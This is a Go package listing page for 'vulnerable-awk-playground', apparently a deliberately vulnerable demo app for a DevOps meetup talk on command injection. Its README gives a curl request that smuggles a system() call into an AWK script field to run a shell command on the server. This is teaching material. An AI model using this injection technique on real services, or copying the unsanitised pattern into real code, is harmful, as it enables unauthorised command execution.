vulnerable-awk-playground

command module
v0.0.0-...-ed98344 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Nov 10, 2023 License: MIT Imports: 6 Imported by: 0

README

Vulnerable-AWK-Playground

This application is a demonstration of command injection susceptibility designed for presentation purposes at the Vienna Devops Meetup.

Instructions

  • Initiate the web server by executing
go run main.go
  • Ping any website using
curl -X POST -F 'text=hello world' -F 'awkScript={print $1}' localhost:8080/test
  • Conduct a command injection by using
curl -X POST -F 'text=hello world' -F 'awkScript=BEGIN{system("ls")}' localhost:8080/test

Documentation

The Go Gopher

There is no documentation for this package.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL